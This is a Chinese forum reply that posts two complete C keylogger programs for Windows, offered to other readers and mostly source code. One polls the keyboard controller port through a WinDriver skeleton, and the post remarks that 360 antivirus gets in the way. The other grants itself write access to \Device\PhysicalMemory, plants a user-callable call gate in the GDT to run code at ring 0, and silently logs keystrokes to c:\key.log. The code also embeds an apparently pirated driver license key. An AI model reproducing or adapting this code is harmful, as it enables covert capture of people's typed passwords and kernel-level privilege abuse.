能力值:
( LV3,RANK:20 )
|
-
-
7 楼
直接访问键盘控制芯片获取键盘记录(但万恶的360很蛋疼)
[COLOR="DarkSlateGray"]////////////////////////////////////////////////////////////////
// File - BASIC_IO.C
//
// This is a skeleton driver for a simple ISA card with IO
// ports access.
//
// Copyright (c) 2003 - 2006 Jungo Ltd. http://www.jungo.com
//
////////////////////////////////////////////////////////////////
#include <stdio.h>
#include "windrvr.h"
#include "status_strings.h"
#include "windows.h"
// put your IO range here
// in this example the range is 0x378-0x37a
enum {MY_IO_BASE = 0x60};
enum {MY_IO_SIZE = 0x10};
char keycode[120][5]={"","ESC","1","2","3","4","5","6","7","8"\
,"9","0","-","=","BSP","TAB","Q","W","E","R","T","Y","U","I","O","P"\
,"[","]","ENT","LCT","A","S","D","F","G","H","J","K","L",";","'","`","LSH","\\","Z","X","C","V","B"\
,"N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1","F2","F3","F4"\
,"F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6"\
,"+","1","2","3","0","."};
//共含有53个定义的字母
// global WinDriver handle
HANDLE hWD;
// global card handle
WD_CARD_REGISTER cardReg;
BYTE IO_inp(DWORD dwIOAddr)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = RP_BYTE; // R-Read P-Port BYTE
trns.dwPort = dwIOAddr;
WD_Transfer( hWD, &trns); // Perform read
return trns.Data.Byte;
}
WORD IO_inpw(DWORD dwIOAddr)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = RP_WORD; // R-Read P-Port WORD
trns.dwPort = dwIOAddr;
WD_Transfer( hWD, &trns); // Perform read
return trns.Data.Word;
}
DWORD IO_inpd(DWORD dwIOAddr)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = RP_DWORD; // R-Read P-Port DWORD
trns.dwPort = dwIOAddr;
WD_Transfer( hWD, &trns); // Perform read
return trns.Data.Dword;
}
void IO_outp(DWORD dwIOAddr, BYTE bData)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = WP_BYTE; // R-Write P-Port BYTE
trns.dwPort = dwIOAddr;
trns.Data.Byte = bData;
WD_Transfer( hWD, &trns); // Perform write
}
void IO_outpw(DWORD dwIOAddr, WORD wData)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = WP_WORD; // R-Write P-Port WORD
trns.dwPort = dwIOAddr;
trns.Data.Word = wData;
WD_Transfer( hWD, &trns); // Perform write
}
void IO_outpd(DWORD dwIOAddr, DWORD dwData)
{
WD_TRANSFER trns;
BZERO(trns);
trns.cmdTrans = WP_DWORD; // R-Write P-Port DWORD
trns.dwPort = dwIOAddr;
trns.Data.Dword = dwData;
WD_Transfer( hWD, &trns); // Perform write
}
BOOL IO_init()
{
WD_VERSION verBuf;
DWORD dwStatus;
WD_LICENSE lic;
hWD = INVALID_HANDLE_VALUE;
hWD = WD_Open();
if (hWD==INVALID_HANDLE_VALUE)
{
printf ("error opening WINDRVR\n");
return FALSE;
}
strcpy(lic.cLicense,"6C3CC2FF5629291736D037215760FFA056B80B70.www.cnzzd.com");
WD_License(hWD, &lic);
BZERO(verBuf);
WD_Version (hWD, &verBuf);
printf (WD_PROD_NAME " version - %s\n", verBuf.cVer);
if (verBuf.dwVer<WD_VER)
{
printf ("error incorrect WINDRVR version. needs ver %d\n",WD_VER);
WD_Close(hWD);
return FALSE;
}
BZERO(cardReg);
cardReg.Card.dwItems = 1;
cardReg.Card.Item[0].item = ITEM_IO;
cardReg.Card.Item[0].fNotSharable = TRUE;
cardReg.Card.Item[0].I.IO.dwAddr = MY_IO_BASE;
cardReg.Card.Item[0].I.IO.dwBytes = MY_IO_SIZE;
cardReg.fCheckLockOnly = FALSE;
dwStatus = WD_CardRegister(hWD, &cardReg);
if (cardReg.hCard==0)
{
printf("Failed locking device. Status 0x%lx - %s\n",
dwStatus, Stat2Str(dwStatus));
return FALSE;
}
return TRUE;
}
void IO_end()
{
WD_CardUnregister(hWD,&cardReg);
WD_Close(hWD);
}
void Log()
{
BYTE retData;
BYTE keyDown;//键按下数据
BYTE keyUp;//键弹起数据
BYTE bCanLog1=1;
BYTE bCanLog2=1;
while(1)
{
retData=IO_inp( (DWORD)0x00000060);
if(retData==0x00||retData==0xff||retData==\
0xaa||retData==0xee||retData==0xf0||retData==\
0xfa||retData==0xfe||retData==0xfc)
{
Sleep(50);
continue;
}
/////////////////////////////////////////////////////////////////
//键按下产生make code ,键放开产生break code,make code最高位为0,
//我们keycode使用make code作为索引打印按键。。。。。。。。。。。
//
if(!(retData&0x80))//有键被按下!!!!
{
keyDown=retData;
}
//有键放开!!!!!retData第7位为1!我们使用make code记录键值
//make code第7位为0!!!!
if(retData&0x80)
{
keyUp=retData&0x7f;
if(keyUp==keyDown)
{
printf("%s ",keycode[keyDown]);
keyUp=0;
keyDown=1;
}
}
Sleep(50);
}
}
void reboot()
{
IO_outp( 0x00000064,0xfe);
}
void light()
{
BYTE status;
while(1)
{
status=IO_inp( 0x00000064);
printf("%x",status);
IO_outp( 0x00000060,0xed);
IO_outp( 0x00000060,0x07);
Sleep(100);
}
}
int main()
{
if (!IO_init()) return -1;
Log();
//reboot();
//light();
IO_end();
return 0;
}[/COLOR]
调用门键盘记录程序编写
[COLOR="darkslategray"]#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include <Ntsecapi.h>
#pragma comment (lib,"ntdll.lib")
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")
/////////////////////////// 从 NTDDK 摘来 ///////////////////////////////////
#ifdef __cplusplus
extern "C" {
#endif
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define OBJ_KERNEL_HANDLE 0x00000200
#define STATUS_ACCESS_DENIED 0xC0000022
#define OBJ_CASE_INSENSITIVE 0x00000040L
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
IN HANDLE Handle
);
#ifdef __cplusplus
}
#endif
/////////////////////////////////////////////////////////////////////////////
//GDTR结构
typedef struct gdtr {
unsigned short Limit; //16位长度
unsigned short BaseLow; //32位线形地址低16位
unsigned short BaseHigh; //32位线形地址高16位
} Gdtr_t, *PGdtr_t;
//调用门描述符
typedef struct
{
unsigned short offset_0_15;//段中偏移值低16位
unsigned short selector; //段选择符
unsigned char param_count : 4;//参数个数
unsigned char some_bits : 4;
unsigned char type : 4;//类型
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;
unsigned short offset_16_31;//段中偏移值高16位
} CALLGATE_DESCRIPTOR;
typedef struct
{
ULONG BaseAddr;
unsigned short Limit;
} INFO;
//打印错误信息
void PrintWin32Error( DWORD ErrorCode )
{
LPVOID lpMsgBuf;
FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL, ErrorCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf, 0, NULL );
printf("%s\n", lpMsgBuf );
LocalFree( lpMsgBuf );
}
//虚拟地址转化为物理地址,线性地址在0x80000000与0xa0000000范围内,只是简单的进行移位操作
//GDT表在Windows NT/2000中一般情况下均位于这个区域
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
return 0;
return virtualaddress&0x1FFFF000;
}
//设置物理段可读
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
//HSection为\Device\PhysicalMemory句柄
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
//找到它的安全描述符
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
printf( "GetSecurityInfo Error %u\n", dwRes );
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
//在当前ACL中添加Read/Write授权
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
printf( "SetEntriesInAcl %u\n", dwRes );
goto CleanUp;
}
//更新安全描述符
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
printf("SetSecurityInfo %u\n",dwRes);
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pSD);
}
HANDLE hSection=NULL;
GetBaseInfo(INFO *pInfo)
{
Gdtr_t gdt;
__asm sgdt gdt;
//转化虚拟内存地址为物理地址
ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
if(!mapAddr) return 0;
NTSTATUS status;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&objectAttributes,
&objName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
(PSECURITY_DESCRIPTOR) NULL);
//打开对象句柄
status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
ZwClose(hSection);
status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
if(status != STATUS_SUCCESS)
{
printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
return 0;
}
PVOID BaseAddress;
//映射section到当前进程空间
BaseAddress=MapViewOfFile(hSection,
FILE_MAP_READ|FILE_MAP_WRITE,
0,
mapAddr,
(gdt.Limit+1));
if(!BaseAddress)
{
printf("Error MapViewOfFile:");
PrintWin32Error(GetLastError());
return 0;
}
pInfo->BaseAddr=(ULONG)BaseAddress;
pInfo->Limit=gdt.Limit;
}
INFO info;
//定义需要打印的按键名称
char cKeyPress[][6]={"A","B","C","D","E","F","G","H","I","J","K",
"L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4",
"5","6","7","8","9","`","-","=","\\","BKSP","SPACE","TAB","CAPS","ENTER","ESC","[","]",";","'",",",".","/","?"};
//定义按键被按下是产生的扫描码
unsigned char cKeyDown[255]={0x1E,0x30,0x2E,0x20,0x12,0x21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1F,
0x14,0x16,0x2F,0x11,0x2D,0x15,0x2C,0x0B,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x29,0x0c,0x0d,0x2b,0x0e,0x39,0x0f,0x3a,0x1c,0x01,
0x1a,0x1b,0x27,0x28,0x33,0x34,0x35,0};
//安装调用门进入ring0
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
CALLGATE_DESCRIPTOR *cg;
//添加调用门
for( cg=(CALLGATE_DESCRIPTOR *)((ULONG)info.BaseAddr+(info.Limit&0xFFF8));
(ULONG)cg>(ULONG)info.BaseAddr; cg-- )
{
//寻找到空闲空间
if(cg->type == 0){
cg->offset_0_15 = LOWORD(Entry);//取调用门函数低16位
cg->selector = 8; //设置内核段选择子
cg->param_count = 0; //参数个数
cg->some_bits = 0; //系统保留
cg->type = 0xC; // 386调用门
cg->app_system = 0; //系统保留
cg->dpl = 3; //描述符权限,设置为允许 RING 3 进程调用
cg->present = 1; //存在位设置为1表示有效
cg->offset_16_31 = HIWORD(Entry);//取调用门函数低16位
break;
}
}
short farcall[3];
farcall[2]=((short)((ULONG)cg-(ULONG)info.BaseAddr))|3;
//锁定内存,该内存页不能交换到页文件
if(!VirtualLock((PVOID)Entry,seglen))
{
printf("Error VirtualLock:");
PrintWin32Error(GetLastError());
return 0;
}
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
Sleep(1);
//呼叫调用门实现特权级转移
_asm call fword ptr [farcall]
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID)Entry,seglen);
//清除调用门
*(ULONG *)cg=0;
*((ULONG *)cg+1)=0;
return TRUE;
}
struct _RING0DATA
{
unsigned char cKey;
}keyData;
//读取0x60端口获取键盘扫描码
void __declspec (naked) GetKey()
{
_asm{
pushad;
pushf;
cli;
in al,60h;
mov keyData.cKey,al;
popf;
popad;
retf;
}
}
void main(void)
{
ZeroMemory(&keyData,sizeof(struct _RING0DATA));
//锁定内存,该内存页不能交换到页文件,代码在内核模式运行,不能交换到硬盘中!!!
VirtualLock((PVOID)&keyData,sizeof(struct _RING0DATA));
VirtualLock((PVOID)&info,sizeof(INFO));
GetBaseInfo(&info);
unsigned char cKeyLast=0,cKeyNow=0;
DWORD dwLast;
DWORD dwCurrent;
DWORD dwInterval = 10000;
dwLast = GetTickCount();
while(1)
{
dwCurrent = GetTickCount();
if( dwCurrent - dwLast > dwInterval )
break;
ExecRing0Proc((ULONG)GetKey,0x100);
cKeyNow=keyData.cKey;
//如果有键弹起
if(cKeyNow>0x80)
{
if(cKeyNow==(cKeyLast+0x80))//弹起键为上次按下的键
{
for(int i=0;i<sizeof(cKeyDown);i++)
{
if(cKeyDown[i]==cKeyLast)//打印按下的键
{
//printf("%s\n",cKeyPress[i]);
FILE *fp=fopen("c:\\key.log","a+");
fprintf(fp,"%s",cKeyPress[i]);
//fputs(cKeyPress[i],fp);
fclose(fp);
}
}
//令上次按下的键与本次放开的不相等
cKeyNow=0;
cKeyLast=1;
}
}
//其他情况
else
{
for(int i=0;i<sizeof(cKeyDown);i++)
{
if(cKeyNow==cKeyDown[i])//有键按下
{
cKeyLast=cKeyNow;
}
}
}
Sleep(100);
}
VirtualUnlock((PVOID)&info,sizeof(INFO));
VirtualUnlock((PVOID)&keyData,sizeof(struct _RING0DATA));
::ZwClose(hSection);
} [/COLOR]
|